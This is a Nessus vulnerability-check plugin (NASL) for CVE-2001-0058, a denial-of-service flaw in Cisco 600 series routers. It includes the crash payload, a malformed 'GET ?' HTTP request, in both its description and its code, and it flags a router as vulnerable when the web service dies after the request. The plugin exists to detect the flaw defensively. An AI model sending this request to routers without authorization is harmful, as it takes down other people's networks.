code | #
# (C) Tenable network Security, Inc.
#
# Script audit and contributions from Carmichael Security
# Erik Anderson <[email protected]> (nb: this domain no longer exists)
# Added link to the Bugtraq message archive
# Could support CVE-2001-0058
#
include("compat.inc");
if(description)
{
script_id(10561);
script_version ("1.32");
script_cvs_date("Date: 2018/11/15 20:50:20");
script_cve_id("CVE-2001-0058");
script_xref(name:"CISCO-SA", value:"cisco-sa-20001204-cbos");
script_name(english:"Cisco 600 Series Router HTTP GET DoS (cisco-sa-20001204-cbos)");
script_set_attribute(attribute:"synopsis", value:
"The remote router is prone to a denial of service attack." );
script_set_attribute(attribute:"description", value:
"It was possible to lock the remote router by sending the following
request :
GET ?
An attacker may use this flaw to lock this host, thus preventing your
network from working properly." );
# https://tools.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-20001204-cbos
script_set_attribute(attribute:"see_also", value:"http://www.nessus.org/u?5df5b1a5" );
script_set_attribute(attribute:"see_also", value:"https://seclists.org/bugtraq/2000/Nov/392" );
script_set_attribute(attribute:"solution", value:
"Contact CISCO for a fix or add the following rule to your router :
set web disabled
write
reboot" );
script_set_cvss_base_vector("CVSS2#AV:N/AC:H/Au:N/C:N/I:N/A:C");
script_set_attribute(attribute:"plugin_publication_date", value: "2000/11/29");
script_set_attribute(attribute:"vuln_publication_date", value: "2000/11/28");
script_set_attribute(attribute:"patch_publication_date", value: "2000/12/04");
script_set_attribute(attribute:"plugin_type", value:"remote");
script_set_attribute(attribute:"cpe",value:"cpe:/o:cisco:broadband_operating_system");
script_end_attributes();
summary["english"] = "Crashes a Cisco router";
script_summary(english:summary["english"]);
script_category(ACT_DENIAL);
script_copyright(english:"This script is Copyright (C) 2000-2018 Tenable Network Security, Inc.");
family["english"] = "CISCO";
script_family(english:family["english"]);
script_require_ports("Services/www", 80);
script_dependencies("find_service1.nasl", "os_fingerprint.nasl");
exit(0);
}
#
# The script code starts here
#
include("global_settings.inc");
include("misc_func.inc");
include("http.inc");
os = get_kb_item("Host/OS");
if ( os && "CISCO" >!< os ) exit(0);
port = get_http_port(default:80);
banner = get_http_banner(port:port);
if ( "cisco-IOS" >!< banner ) exit(0);
if (http_is_dead(port:port)) exit(0);
r = http_send_recv_buf(port: port, data: 'GET ? \r\n\r\n');
sleep(1);
if (http_is_dead(port: port)) security_warning(port);
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